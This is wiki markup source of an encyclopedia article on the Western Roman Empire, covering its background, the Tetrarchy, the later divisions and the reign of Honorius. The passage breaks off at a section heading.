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Western Roman Empire

2018-02-16T15:18:29Z

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{{redirect|Western Empire|the Frankish State|Carolingian Empire}}
{{Infobox former country
|native_name = {{lang|la|''[[Senatus Populusque Romanus]]''}} {{lang|la|''Imperium Romanum''}}{{ref|name_transl|a}}
|conventional_long_name = Roman Empire
|common_name = Western Roman Empire
|national_motto =
|life_span = 285–476/480{{ref|lifespan|b}}
|image_coat = Julius Nepos Tremissis.jpg
|coa_size = 140px
|symbol_type = [[Tremissis]] depicting [[Flavius Julius Nepos]] (474-480), the ''de jure'' last Emperor of the Western Court
|p1 = Roman Empire
|image_p1 = [[File:Dio coin3.jpg|30px|link=Roman Empire]]
|border_p1 = no
|s1 = Eastern Roman Empire
|flag_s1 = JustinianusI.jpg
|s2 = Kingdom of Odoacer
|flag_s2 = Odovacar Ravenna 477.jpg
|s3 = Kingdom of the Visigoths
|flag_s3 = Leovigild CNG 97-722237 (obverse).jpg
|s4 = Kingdom of the Vandals
|s5 = Kingdom of the Franks
|flag_s5 = Münze Gold Solidus Theudebert I um 534 (obverse).jpg
|s6 = Kingdom of the Suebi
|flag_s6 = Sueben.jpg
|s7 = Kingdom of the Burgundians
|flag_s7 = Triens de l’empereur Anastase cropped.png
|s8 = Domain of Soissons
|flag_s8 = Julius Nepos Tremissis.jpg
|s9 = Domain of Moor
|s10 = Alamannia
|flag_s10 = Reiterscheibe von Pliezhausen v2 no background.png
|flag_s11 = Triens de Judicaël frappé à Redonis.jpg
|flag_s12 = Aldfrith sceat 685 76001849 cropped.png
|s11 = Armorica
|era = Late Antiquity
|status = Empire
|empire = Roman Empire
|status_text = Western division of the [[Roman Empire]] (285–480){{ref|lifespan|a}}
|government_type = [[Autocracy]], [[tetrarchy]] (293–313)
|year_start = 285
|year_end = 480
|event_start = Division of [[Diocletian]]
|event1 = Division after [[Constantine I]]
|date_event1 = 337
|event2 = Division by [[Valentinian I]]
|date_event2 = 364
|event3 = Division after [[Theodosius I]]
|date_event3 = 395
|event4 = Deposition of [[Romulus Augustulus]]
|date_event4 = 4 September 476
|event_end = Murder of [[Julius Nepos]]
|date_end= 25 April
|continent= Europe
||image_map = Western Roman Empire 395 Tribes.png
|image_map_caption = The territory controlled by the Western Roman court following the division of the [[Roman Empire]] after the death of [[Theodosius I]] in 395.
||capital = [[Mediolanum]] (286–402) [[Ravenna]] (402–476)
|common_languages = [[Latin language|Latin]] (official) [[Languages of the Roman Empire|Regional{{\}}local languages]]
|religion = [[Religion in ancient Rome|Roman religion]] until 4th century [[Christianity]] ([[State church of the Roman Empire|state church]]) after 380
|currency = [[Roman currency]]
|leader1 = Maximian
|leader2 = Constantine I
|leader3 = Valentinian I
|year_leader1 = 286–305
|year_leader2 = 324–337
|year_leader3 = 364–375
|title_leader = [[Roman Emperor|Notable emperors]]
|title_representative = [[Roman consul|Consul]]
|representative1 = [[Honorius (emperor)|Flavius Honorius Augustus]]
|representative2 = [[Caecina Decius Maximus Basilius]]
|representative3 = [[Decius Paulinus]]{{ref|lifespan|c}}
|year_representative1 = 396
|year_representative2 = 480
|year_representative3 = 534
|legislature = [[Senate of the Roman Empire|Roman Senate]]
|stat_year1 = 395<ref name=size>{{cite journal|journal=Social Science History |title=Size and Duration of Empires: Growth-Decline Curves, 600 B.C. to 600 A.D |first=Rein |last=Taagepera |volume=3 |issue=3/4 |year=1979 |pages=24 |doi=10.2307/1170959|jstor=1170959|publisher=Duke University Press}}</ref>
|stat_area1 = 2000000
|today = {{Collapsible list |titlestyle=font-weight:normal; background:transparent; text-align:left; |title=Various countries| {{flag|Algeria}}|{{flag|Andorra}}|{{flag|Austria}}|{{flag|Belgium}}|{{flag|Bosnia and Herzegovina}}|{{flag|Croatia}}|{{flag|France}}|{{flag|Germany}}|{{flag|Gibraltar}}|{{flag|Guernsey}}|{{flag|Hungary}}|{{flag|Italy}}|{{flag|Jersey}}|{{flag|Liechtenstein}}|{{flag|Libya}}|{{flag|Luxembourg}}|{{flag|Malta}}|{{flag|Monaco}}|{{flag|Morocco}}|{{flag|Netherlands}}|{{flag|Portugal}}|{{flag|San Marino}}|{{flag|Serbia}}|{{flag|Slovakia}}|{{flag|Slovenia}}|{{flag|Spain}}|{{flag|Switzerland}}|{{flag|Tunisia}}|{{flag|United Kingdom}}|{{flag|Vatican City}}}}
|s12=Sub-Roman Britain|flag_s4=Münze 50 Denari - Gelimer - König der Vandalen (cropped).jpg|flag_s9=|leader4=Theodosius I|leader5=[[Flavius Augustus Honorius|Honorius]]|leader6=[[Majorian]]|leader7=Julius Nepos|year_leader4=392–395|year_leader5=395–423|year_leader6=457–461|year_leader7=474–480
|footnote_a = {{note|name_transl||Since the Western Roman Empire was not a distinct state separate from the Eastern Roman Empire, there was no particular official term that designated the Western provinces or their government, which was simply known as the "Roman Empire". Terms such as ''Imperium Romanum Occidentalis'' and ''Hesperium Imperium'' were either never in official usage or invented long after the western court had fallen.}}
|footnote_b={{note|lifespan||Whilst the deposition of [[Romulus Augustulus]] in '''476''' is the most commonly cited end date for the Western Roman Empire, the last Western Roman Emperor [[Julius Nepos]] did not die until '''480''', when the title and notion of a separate Western Empire were actually abolished. Other suggested end dates include the deposition of [[Glycerius]] in '''474''' and the reorganization of Italy and abolition of separate Western Roman administrative institutions under [[Justinian]] during the latter half of the 6th century.}}
|footnote_c={{note|lifespan||Western Roman consuls continued to be appointed and accepted long after the fall of the Western Roman Empire. The reforms of Eastern Roman emperor [[Justinian I]] abolished the separate office of Western Roman consul in 534 and the last person to hold the office was [[Decius Paulinus]].}}

}}
In [[historiography]], the '''Western Roman Empire''' consists of the western provinces of the [[Roman Empire]] at any one time during which they were administered by a separate independent Imperial court, coequal with that administering the eastern half. Both "Western Roman Empire" and "Eastern Roman Empire" (or "[[Byzantine Empire]]") are modern terms describing ''[[de facto]]'' independent [[polity|entities]]; however, at no point did the [[Ancient Romans|Romans]] consider the Empire split into two, but rather considered it a single state governed by two separate Imperial courts out of administrative expediency, a system of government known as a [[diarchy]].

The view that the Empire was impossible to govern by one [[Roman emperor|emperor]] was established by [[Diocletian]] following the disastrous civil wars and disintegration of the [[Crisis of the 3rd century]], and was instituted in Roman law by his introduction of the [[Tetrarchy]] in AD 285, a form of government which was legally to endure in one form or another for centuries. There being more than one emperor at a time was not an unknown concept in the empire, as there had been multiple points in the past where more than one emperor ruled jointly.

The Western Roman Empire existed intermittently in several periods between the 3rd and 5th centuries, after Diocletian's Tetrarchy and the reunifications associated with [[Constantine the Great]] and [[Julian the Apostate]] (331/2–363). [[Theodosius I]] divided the Empire upon his death (in 395) between his two sons. Finally, eighty-five years later in AD 480, [[Zeno (emperor)|Zeno]] of the Eastern Empire recognized the reality of the Western Empire's reduced domain—effective central control had ceased to exist even in the Italian Peninsula—after the deposition of [[Romulus Augustulus|Romulus Augustus]] and the subsequent death of [[Julius Nepos]], and therefore abolished the Western court and proclaimed himself the sole emperor of the Roman Empire.

The rise of [[Odoacer]] of the [[Foederati]] to rule over Italy in 476 was popularized by eighteenth-century historian [[Edward Gibbon]] as a demarcating event for the [[Fall of the Western Roman Empire|end of the Western Empire]] and is sometimes used to mark the transition from [[Classical Antiquity|Antiquity]] to the [[Middle Ages]]. Imperial rule was reimposed in large parts of the West, including [[North Africa]], [[Roman Italy|Italy]] and parts of [[Hispania]], in the sixth century by the armies of the Eastern Roman Empire under Emperor [[Justinian I]]. Political upheaval in the East Roman heartlands made efforts to retain control of these territories difficult and they were gradually lost, this time for good.

Though the Eastern Empire retained territories in the south of Italy until the 11th century, the influence that the Empire had over [[Western Europe]] had diminished significantly with the [[Pope|papal]] coronation of the [[List of Frankish kings|Frankish king]] [[Charlemagne]] as "Roman Emperor" in 800 AD. His imperial line would come to evolve into the [[Holy Roman Empire]], a revival of the imperial title in the West but in no meaningful sense an extension of Roman traditions or institutions. The [[East–West Schism|Great Schism of 1054]] between the churches of [[Bishop of rome|Rome]] and [[Bishop of Constantinople|Constantinople]] further diminished the authority the Emperor in Constantinople could hope to bring forth in the west.

==Background==
{{Further|History of the Roman Empire}}As the [[Roman Republic]] expanded, it reached a point where the central government in [[Rome]] could not effectively rule the distant provinces. Communications and transportation were especially problematic given the vast extent of the Empire. News of invasion, revolt, natural disasters, or epidemic outbreak was carried by ship or [[Cursus publicus|mounted postal service]], often requiring much time to reach Rome and for Rome's orders to be realized in the province of origin. For this reason, provincial [[Roman Governor|governors]] had [[de facto]] rule in the name of the Roman Republic. Governors had several duties, including the command of armies, handling the taxes of the province and serving as a local chief judges.<ref>{{Cite web|url=http://www.livius.org/articles/concept/governor-roman/?|title=Governor (Roman) - Livius|website=www.livius.org|language=en|access-date=2017-11-26}}</ref>

Prior to the establishment of the Empire, the territories of the [[Roman Republic]] had been divided in 43 BC among the members of the [[Second Triumvirate]]: [[Mark Antony]], [[Augustus|Octavian]] and [[Marcus Aemilius Lepidus (triumvir)|Marcus Aemilius Lepidus]]. Antony received the provinces in the East: [[Achaea Province|Achaea]], [[Roman province of Macedonia|Macedonia]] and [[Epirus]] (roughly modern [[Greece]], [[Albania]] and the coast of [[Croatia]]), [[Bithynia]], [[Pontus (region)|Pontus]] and [[Asia (Roman province)|Asia]] (roughly modern [[Turkey]]), [[Syria]], [[Cyprus]], and [[Cyrenaica]].<ref name=":9">Eck, Werner (2002). ''The Age of Augustus''. [D.L. Schneider, Trans.] New Your, NY: Wiley-Blackwell. p.15f</ref> These lands had previously been conquered by [[Alexander the Great]]; thus, much of the [[aristocracy]] was of Greek origin. The whole region, especially the major cities, had been largely assimilated into Greek culture, [[Koine Greek|Greek]] often serving as the [[lingua franca]].
[[File:Roman Republic-44BC.png|thumb|250px|left|The [[Roman Republic]] before the conquests of [[Augustus|Octavian]]]]

Octavian obtained the Roman provinces of the West: [[Italia (Roman province)|Italia]] (modern [[Italy]]), [[Gaul]] (modern [[France]]), [[Gallia Belgica]] (parts of modern [[Belgium]], the [[Netherlands]] and [[Luxembourg]]), and [[Hispania]] (modern [[Spain]] and [[Portugal]]).<ref name=":9" /> These lands also included Greek and Carthaginian colonies in the coastal areas, though [[Celt]]ic tribes such as [[Gauls]] and [[Celtiberians]] were culturally dominant. Lepidus received the minor province of [[Africa Province|Africa]] (roughly modern [[Tunisia]]). Octavian soon took Africa from Lepidus, while adding [[Sicilia (province)|Sicilia]] (modern [[Sicily]]) to his holdings.<ref>Weigel, Richard D. (1992). ''Lepidus: The Tarnished Triumvir''. London, UK: Routledge. pp.88f.</ref>

Upon the defeat of Mark Antony, a victorious Octavian controlled a united [[Roman Empire]]. While the Roman Empire featured many distinct cultures, all were often said to experience gradual ''[[Romanization (cultural)|Romanization]]''. While the predominantly Greek culture of the East and the predominantly Latin culture of the West functioned effectively as an integrated whole, political and military developments would ultimately realign the Empire along those cultural and linguistic lines.

===Rebellions, uprisings, and political developments===
Minor rebellions and uprisings were fairly common events throughout the Empire. Conquered tribes or cities would revolt, and the [[Roman legions|legions]] would be detached to crush the rebellion. While this process was simple in peacetime, it could be considerably more complicated in wartime, as for example in the [[First Jewish-Roman War|Great Jewish Revolt]]. In a full-blown [[military campaign]], the legions, under generals such as [[Vespasian]], were far more numerous. To ensure a commander's loyalty, a pragmatic emperor might hold some members of the general's family [[hostage]]. To this end, [[Nero]] effectively held [[Domitian]] and [[Quintus Petillius Cerialis]], governor of [[Ostia Antica (archaeological site)|Ostia]], who were respectively the younger son and brother-in-law of Vespasian. The rule of Nero ended only with the revolt of the [[Praetorian Guard]], who had been bribed in the name of [[Galba]]. The [[Praetorian Guard]], a figurative "sword of [[Damocles]]", were often perceived as being of dubious loyalty. Following their example, the legions at the borders increased participation in the [[civil war]]s.

As the Empire expanded, two key frontiers revealed themselves. In the West, particularly behind the rivers [[Rhine]] and [[Danube]], Germanic tribes formed an important enemy. Augustus, the first emperor of the Roman Empire, had tried to conquer them but had pulled back after the disastrous [[Battle of the Teutoburg Forest]].<ref>Murdoch, Adrian (1 December 2012). [https://books.google.com/books?id=Pao7AwAAQBAJ ''Rome's Greatest Defeat: Massacre in the Teutoburg Forest'']. [[The History Press]]. [[International Standard Book Number|ISBN]] [[Special%3ABookSources/0752494554|0752494554]].</ref> Whilst the Germanic tribes presented formidable foes, the [[Parthian Empire]] in the East presented the most long-standing imperial enemy by far. The Partians were too remote and powerful to be conquered and any Partian invasion of Rome was confronted and defeated. Parthians repelled some attempts of Roman invasion and even after successful wars of conquest, such as those implemented by [[Trajan]] and [[Septimius Severus]], conquered distant territories were forsaken to prevent unrest and also to ensure a more healthy and lasting peace with the Parthians. The Parthian Empire would be succeeded by the Sasanian Empire, which [[Roman-Sasanian wars|continued hostilities]] with the Roman Empire.

Controlling the western border of Rome was reasonably easy because it was relatively close and also because of the disunity between the Germanic foes, however, controlling both frontiers altogether during wartime was difficult. If the emperor was near the border in the East, chances were high that an ambitious general would rebel in the West and vice versa. This wartime opportunism plagued many ruling emperors and indeed paved the road to power for several future emperors.

===Crisis of the Third Century===
{{main|Crisis of the Third Century}}[[File:Map of Ancient Rome 271 AD.svg|thumb|250px|The Roman Empire in 268|left]]With the assassination of the Emperor [[Alexander Severus]] on 18 March 235, the Roman Empire sank into a 50-year period of civil war, now known as the [[Crisis of the Third Century]]. The rise of the bellicose [[Sassanid dynasty]] in [[Parthia]] posed a major threat to Rome in the east. Demonstrating the increased danger, Emperor [[Valerian (emperor)|Valerian]] was captured by [[Shapur I of Persia|Shapur I]] in 259. His eldest son and heir-apparent, [[Gallienus]], succeeded and took up the fight on the eastern frontier. Gallienus' son, [[Saloninus]], and the [[Praetorian Prefect]] Silvanus were residing in [[Colonia Agrippina]] (modern [[Cologne]]) to solidify the loyalty of the local legions. Nevertheless, [[Marcus Cassianius Latinius Postumus]] - the local governor of the German provinces — rebelled; his assault on Colonia Agrippina resulted in the deaths of Saloninus and the prefect. In the confusion that followed, an independent state known as the [[Gallic Empire]] emerged.

Its [[Capital (political)|capital]] was Augusta Treverorum (modern [[Trier]]), and it quickly expanded its control over the German and Gaulish provinces and over all of [[Hispania]] and [[Roman Britain|Britannia]]. It had its own [[senate]], and a partial list of its [[Roman consul|consul]]s still survives. It maintained Roman religion, language, and culture, and was far more concerned with fighting the [[Germanic tribes]] than other Romans. However, in the reign of [[Claudius Gothicus]] (268 to 270), large expanses of the Gallic Empire were restored to Roman rule. At roughly the same time, several eastern provinces seceded under the [[Palmyrene Empire]], under the rule of Queen [[Zenobia]].

In 272, Emperor [[Aurelian]] finally managed to reclaim Palmyra and its territory for the empire. With the East secure, his attention was turned to the West, taking the Gallic Empire a year later. Because of a secret deal between Aurelian and Gallic Emperor [[Tetricus I]] and his son [[Tetricus II]], the Gallic army was swiftly defeated. In exchange, Aurelian spared their lives and gave the two former rebels important positions in Italy.

== History ==

===Tetrarchy===
{{main|Tetrarchy|Constantine the Great}}
[[File:Wars-of-the-Tetrarchy.gif|thumb|230x230px|The organization of the Empire under the [[Tetrachy|Tetrarchy]] and its collapse due to [[Constantine the Great|Constantine I]].]]
The external borders were mostly stable for the remainder of the Crisis of the Third Century, although, between the death of Aurelian in 275 and the accession of [[Diocletian]] ten years later, at least eight emperors or would-be emperors were killed, many assassinated by their own troops.

Under Diocletian, the political division of the Roman Empire began. In 285, he promoted [[Maximian]] to the rank of [[Augustus (title)|Augustus]]<ref>Barnes, ''Constantine and Eusebius'', 6–7; Potter, 282; Southern, 141–42.</ref> (Emperor) and gave him control of the Western regions of the Empire. In 293, [[Galerius]] and [[Constantius Chlorus]] were appointed as their subordinates ([[Caesar (title)|Caesars]]), creating the First [[Tetrarchy]]. This system effectively divided the Empire into four major regions and created separate capitals besides Rome as a way to avoid the civil unrest that had marked the 3rd century. In the West, the capitals were Maximian's [[Mediolanum]] (now [[Milan]]) and Constantius' [[Trier]]. In the East, the capitals were [[Sirmium]] and [[Nicomedia]].<ref>Kolb, Frank (1987). ''Diocletian und die Erste Tetrarchie. Improvisation oder Experiment in der Organisation monarchischer Herrschaft?'', Berlin: de Gruyter. {{ISBN|978-3-11-010934-4}}.</ref> On 1 May 305, the two senior Augusti stepped down, and their respective Caesars were promoted to Augusti and appointed two new Caesars, thus creating the Second Tetrarchy.

The system of the Tetrarchy quickly ran aground when the Western Roman Empire's Constantius died unexpectedly in 306, and his son [[Constantine the Great]] was proclaimed Augustus of the West by the legions in Britain.<ref>Barnes, ''Constantine and Eusebius'', 27–28; Jones, 59; Lenski, "Reign of Constantine" (CC), 61–62; Odahl, 78–79.</ref> A crisis followed as several claimants attempted to rule the Western half. In 308, the Augustus of the East, [[Galerius]], arranged a conference at [[Carnuntum]] which revived the Tetrarchy by dividing the West between Constantine and a newcomer named [[Licinius]].<ref>[[Edward Gibbon|Gibbon, Edward]] (1776). "Chapter XIV". ''The History of the Decline and Fall of the Roman Empire''. Vol. II.</ref>

Constantine was far more interested in conquering the whole empire. Through a series of battles in the East and the West, Licinius and Constantine stabilized their respective parts of the Roman Empire by 314, and began to compete for sole control of a reunified state. Constantine emerged victorious in 324 after the surrender and murder of Licinius following the [[Battle of Chrysopolis]].<ref>Grant (1993), p.47-48.</ref> Following his victory and the unification of the Empire under one ruler once more, Constantine refounded the city of [[Byzantium]] in modern-day Greece as ''Nova Roma'' ("New Rome", later to be renamed [[Constantinople]]) as the new capital of the Empire, shifting the administrative center of the Empire to the East.<ref>Vasiliki Limberis, ''Divine Heiress: the Virgin Mary and the creation of Christian Constantinople'', Page 9.</ref>

The Tetrarchy ended, but the idea of dividing the Roman Empire between two emperors had been validated. Very strong emperors would reunite it under their single rule, but with their death the Roman Empire would be divided again and again between the East and the West.

===Further divisions===
[[File:Impero Romano da maggio a settembre 337.png|thumb|250px|Division of the Roman Empire among the Caesars appointed by [[Constantine I]]: from west to east, the territories of [[Constantine II (emperor)|Constantine II]], [[Constans I]], [[Dalmatius]] and Constantius II. After the death of Constantine I (May 337), this was the formal division of the Empire, until Dalmatius was killed and his territory divided between Constans and Constantius.|left]]
[[Constantius II|Constantius]] was born in 317 at [[Sirmium]], [[Pannonia]]. He was the third son of [[Constantine the Great]], and second by his second wife [[Fausta]], the daughter of [[Maximian]]. Constantius was made [[Caesar (title)|Caesar]] by his father on 13 November 324.<ref>DiMaio Jr., M. & Frakes, R. 'DIR-Constantius II' from De Imperatoribus Romanis [http://www.roman-emperors.org/constaii.htm]</ref> The Roman Empire was under the rule of a single Emperor, but, with the death of Constantine in 337, the empire was partitioned between his surviving male heirs.<ref>Odahl, C.M., ''Constantine and the Christian Empire''(2004), p. 275.</ref> Constantius received the eastern provinces, including Constantinople, [[Roman Thrace|Thrace]], [[Asia Minor]], [[Roman Syria|Syria]], [[Roman Egypt|Egypt]], and [[Cyrenaica]]; [[Constantine II (emperor)|Constantine II]] received [[Roman Britain|Britannia]], [[Roman Gaul|Gaul]], [[Hispania]], and [[Mauretania Tingitana|Mauretania]]; and [[Constans]], initially under the supervision of Constantine II, received [[Italia (Roman Empire)|Italy]], [[Africa Province|Africa]], [[Illyricum (Roman province)|Illyricum]], [[Pannonia]], [[Macedonia (Roman province)|Macedonia]], and [[Achaea (Roman province)|Achaea]].<ref>[[Zosimus]], ''New History'' II.57.</ref> The provinces of Thrace, Achaea and Macedonia were shortly controlled by [[Dalmatius]], nephew of Constantine I and a ''caesar'' and not an ''Augustus'', until his murder by his own soldiers in 337.<ref>[[David Potter (historian)|Potter, David.]] (2008) ''Emperors of Rome: Imperial Rome from Julius Caesar to the last emperor''. London: Quercus, p. 195. </ref> The West was unified in 340 under Constans, who was assassinated in 350 under the order of the usurper [[Magnentius]]<ref>Canduci, pg. 131.</ref>; after Magnentius lost the [[Battle of Mursa Major]] and committed suicide, a complete reunification of the whole Empire occurred in 353, with Constantius.<ref>Šašel, Jaroslav, The struggle between Magnentius and Constantius II for Italy and Illyricum, Opera selecta, Ljubljana 1992., 716 - 727 (= Živa antika 21, 1971., 205 - 216).</ref>

Constantius II focused most of his power in the East. Under his rule, the city of [[Byzantium]] - only recently re-founded as [[Constantinople]] - was fully developed as a capital. In 361, Constantius II became ill and died, and Constantius Chlorus' grandson [[Julian (emperor)|Julian]], who had served as Constantius II's Caesar, assumed power. Julian was killed in 363 in the [[Battle of Samarra]] against the [[Persian Empire]]<ref>Lascaratos, John and Dionysios Voros. 2000 Fatal Wounding of the Byzantine Emperor Julian the Apostate (361–363 A.D.): Approach to the Contribution of Ancient Surgery. World Journal of Surgery 24: 615–619. See p. 618.</ref> and was succeeded by [[Jovian (Emperor)|Jovian]], who ruled only until 364.<ref>Ammianus Marcellinus, ''The History'', 25.10.12.</ref>[[File:Theodosius I's empire.png|right|thumb|250px|The division of the Empire after the death of Theodosius I, ca.395 AD superimposed on modern borders. {{legend|#B53637|Western Court under [[Honorius (emperor)|Honorius]]}} {{legend|#8F36B5|[[Eastern Roman Empire|Eastern Court]] under [[Arcadius]]}}]]
Following the death of Jovian, [[Valentinian I]] emerged as Emperor in 364. He immediately divided the Empire once again, giving the eastern half to his brother [[Valens]].<ref>Noel Emmanuel Lenski, ''Failure of Empire: Valens and the Roman State in the Fourth Century A.D.'', University of California Press, 2002.</ref> Stability was not achieved for long in either half, as the conflicts with outside forces (tribes) intensified. In 376, the [[Visigoths]], fleeing before the [[Ostrogoths]], who in turn were fleeing before the [[Huns]], were allowed to cross the river Danube and settle into the Balkans by the Eastern government. Mistreatment caused a full-scale rebellion, and in 378 they inflicted a crippling defeat on the Eastern Roman field army in the [[Battle of Adrianople]], in which Valens also died.<ref>Ammianus Marcellinus, ''Historiae'', book 31, chapter 13.</ref> The campaigns to subdue them were only partly successful, and they officially became semi-independent [[foederati]] under their own leaders.

More than in the East, there was also opposition to the Christianizing policy of the Emperors in the western half of the Empire. In 379, [[Valentinian I]]'s son and successor [[Gratian]] declined to wear the mantle of [[Pontifex Maximus]], and in 382 he rescinded the rights of pagan priests and removed the [[Altar of Victory]] from the [[Curia|Roman Curia]], a decision which caused dissatisfaction among the traditionally pagan aristocracy of Rome.<ref>[http://www.livius.org/pn-po/pontifex/maximus.html Pontifex Maximus] Livius.org article by Jona Lendering.</ref> [[Theodosius I]] later decreed a ban on all religions except [[Christianity]].<ref>N Lewis; Reinhold Meyer (1990). [https://books.google.com/books?id=G07okHErcacC&pg=PA614 ''Empire'']. Columbia University Press. pp. 614.</ref>

The political situation was unstable. In 383, a powerful and popular general named [[Magnus Maximus]] seized power in the West and forced Gratian's half-brother [[Valentinian II]] to flee to the East for aid; in a destructive civil war, the Eastern Emperor [[Theodosius I]] restored him to power.<ref>Susan Wise Bauer, "The History of the Medieval World: From the Conversion of Constantine to the First Crusade", W. W. Norton & Company, 22 feb 2010 (p.68).</ref> In 392, the [[Franks|Frankish]] and pagan ''[[magister militum]]'' [[Arbogast (general)|Arbogast]] assassinated Valentinian II and proclaimed an obscure senator named [[Eugenius]] as Emperor. In 394 the forces of the two halves of the Empire again [[Battle of the Frigidus|clashed]] with great loss of life. Again Theodosius I won, and he briefly ruled a united Empire until his death in 395. He was the last Emperor to rule both parts of the Roman Empire<ref>Carr, John (2015). ''Fighting Emperors of Byzantium''. Pen & Sword. pp. 40–43. {{ISBN|1783831162}}.</ref>; his older son [[Arcadius]] inherited the eastern half while the younger [[Honorius (emperor)|Honorius]] got the western half. Both were still minors and neither was capable of ruling effectively. Honorius was placed under the tutelage of the half-Roman/half-barbarian ''[[magister militum]]'' [[Flavius Stilicho]]<ref>Joseph Vogt. ''The Decline of Rome: The Metamorphosis of Ancient Civilization''. Trans. Janet Sondheimer. London: Weidenfeld and Nicolson, 1967, p. 179.</ref> while [[Rufinus (consul)|Rufinus]] became the power behind the throne in the east. Rufinus and Stilicho were rivals, and their disagreements were exploited by the Gothic leader [[Alaric I]] who again rebelled following the death of Theodosius I. Neither half of the Empire could raise forces sufficient even to subdue Alaric's men, and both tried to use Alaric against the other half.<ref>[[John Bagnell Bury]], ''History of the Later Roman Empire'', Chapter 5.</ref> Alaric himself tried to establish a long-term territorial and official base, but was never able to do so.

Stilicho tried to defend Italy and bring the invading Goths under control, but to do so he stripped the Rhine frontier of troops and the [[Vandals]], [[Alans]], and [[Suevi]] [[Crossing of the Rhine|invaded Gaul]] in large numbers. Stilicho became a victim of court intrigues and was killed in 408. While the East began a slow recovery and consolidation, the West began to collapse entirely. Alaric's men [[Sack of Rome (410)|sacked Rome]] in 410.

=== Reign of Honorius ===
{{main|Honorius (emperor)}}
[[File:Solidus of Honorius (YORYM 2001 12465 2) obverse.jpg|left|thumb|Solidus of Emperor [[Honorius (emperor)|Honorius]].]]
Honorius, the younger son of Theodosius I, was declared ''Augustus'' (and as such co-emperor with his father) on January 23rd in 393. Upon the death of Theodosius, Honorius inherited the throne of the West at the age of ten whilst his older brother [[Arcadius]] inherited the East.<ref>{{Cite web|url=http://www.roman-emperors.org/epitome.htm|title=Roman Emperors - DIR Epitome of Sextus Aurelius Victor|website=www.roman-emperors.org|access-date=2017-11-22}}</ref> The western capital was initially [[Mediolanum]], as it had been during previous divisions, but it was moved to [[Ravenna]] in 402 upon the entrance of the [[Visigoths|visigothic]] king [[Alaric I]] into Italy. Ravenna, protected by abundant marshes and strong fortifactions, was far easier to defend but made it more difficult for the Roman military to defend central parts of Italy from the regular barbarian incursions.<ref name=":12">Bury, pg. 110</ref> Ravenna would remain the western capital until the deposition of [[Romulus Augustulus|Romulus Augustus]] 74 years later and would later be used as the capital for both the [[Ostrogothic Kingdom]] and the [[Exarchate of Ravenna]].

The reign of Honorius was, even by Western Roman standards, chaotic and plagued by both internal and external struggles. The Visigothic ''foederati'' under Alaric, ''[[magister militum]]'' in [[Illyricum (Roman province)|Illyricum]], rebelled as early as 395. [[Gildo]], the ''[[Comes]] [[Africa Province|Africae]]'' and ''Magister utriusque militiae per Africam'', rebelled in 397 and initiated the [[Gildonic War]]. Stilicho managed to subdue Gildo but was away in [[Raetia]] when the Visigoths entered Italy in 402.<ref>Bury, pg. 108</ref> Stilicho, hurrying back to aid in defending Italy, summoned legions in Gaul and Britain with which he managed to defeat Alaric twice before agreeing to allow him to retreat back to Illyria.<ref>Bury, pg. 109</ref>
[[File:Western Roman Empire 409.png|thumb|Barbarian invasions and the invasion of usurper [[Constantine III (Western Roman Emperor)|Constantine III]] in the Western Roman Empire during the reign of Honorius 407-409.]]
The weakened frontiers in Britain and Gaul had dire consequences for the empire. Numerous usurpers rose from Britain, including [[Marcus (usurper)|Marcus]] (406–407), [[Gratian (usurper)|Gratian]] (407), and [[Constantine III (usurper)|Constantine III]] who invaded Gaul in 407. Britain was effectively abandoned by the empire by 410 due to the crumbling resources and the need to look after more important frontiers.<ref name=":0">{{Cite web|url=http://www.tertullian.org/fathers/zosimus05_book5.htm|title=Zosimus, New History. London: Green and Chaplin (1814). Book 5.|last=Pearse|first=Roger|website=www.tertullian.org|access-date=2017-11-22}}</ref> The weakened rhine frontier allowed multiple barbarian tribes, including the [[Vandals]], [[Alans]] and [[Suebi]], to [[Crossing of the Rhine|cross the river]] and enter Roman territory in 406.

Honorius was convinced by the minister [[Olympius]] that Stilicho was conspiring to overthrow him, and thus arrested and executed Stilicho in 408.<ref>Bury, pg. 113</ref> Olympius headed a conspiracy that successfully orchestrated the deaths of key individuals related to the regime of Stilicho, including his son and the families of many of his federated troops.<ref name=":0" /> This lead many of the soldiers to instead join with Alaric, who returned to Italy in 409 and met little opposition. Despite attempts by Honorius to a settlement and six legions of Eastern Roman soldiers sent to support him<ref name="Nor2">J. Norwich, ''Byzantium: The Early Centuries'', 136</ref>, the negotiations between Alaric and Honorius broke down in 410 and Alaric [[Sack of Rome (410)|sacked the city of Rome]]. Though the sack was relatively mild and Rome was no longer the capital, this event made a great impression on contemporaries, as this was the first time since the Gallic invasions of the 4th century BC that the city had fallen to a foreign enemy.

Without Stilicho and following the sack of Rome, Honorius reign grew more and more chaotic. The usurper [[Constantine III (Western Roman Emperor)|Constantine III]] had stripped Roman Britain of its defenses when he crossed over to Gaul in 407, leaving the Romanized population subject to invasions, first by the [[Picts]] and then by the [[Saxons]], [[Angli]], and the [[Jutes]] who began to settle permanently from about 440 onwards. After Honorius accepted Constantine as co-emperor, Constantine's general in Hispania, [[Gerontius (general)|Gerontius]], proclaimed [[Maximus of Hispania|Maximus]] as Emperor. With the aid of general [[Constantius III|Constantius]], Honorius successfully defeated Gerontius and Maximus in 411 and shortly thereafter captured and executed Constantine III. With Constantius back in Italy, the Gallo-Roman senator [[Jovinus]] revolted after proclaiming himself Emperor. With the support of the Gallic nobility and the barbarian [[Burgundians]] and [[Alans]], Honorius turned to the Visigoths under King [[Ataulf]] for support against Jovinus.<ref>Bury, pg. 145</ref> Ataulf defeated and executed Jovinus and his proclaimed co-emperor [[Sebastianus]] in 413, around the same time as another usurper rose in [[Africa (Roman province)|Africa]], [[Heraclianus]]. Heraclianus attempted to invade Italy but failed and retreated to Carthage, where he was killed.<ref>Bury, pg. 146</ref>

With the Roman legions withdrawn, northern Gaul became subject to more and more [[Franks|Frankish]] influence, the Franks naturally adopting a somewhat leading role in the region. In 418, Honorius granted southwestern Gaul ([[Gallia Aquitania]]) to the Visigoths as a vassal federation. Removing the local imperial governors, the Visigoths and the provincial Roman inhabitants were left to conduct their own affairs. As such, the first of the "[[barbarian kingdoms]]", the [[Visigothic Kingdom]], was formed.<ref name=":6">Bury, pg. 154</ref>

=== Escalating barbarian conflicts ===
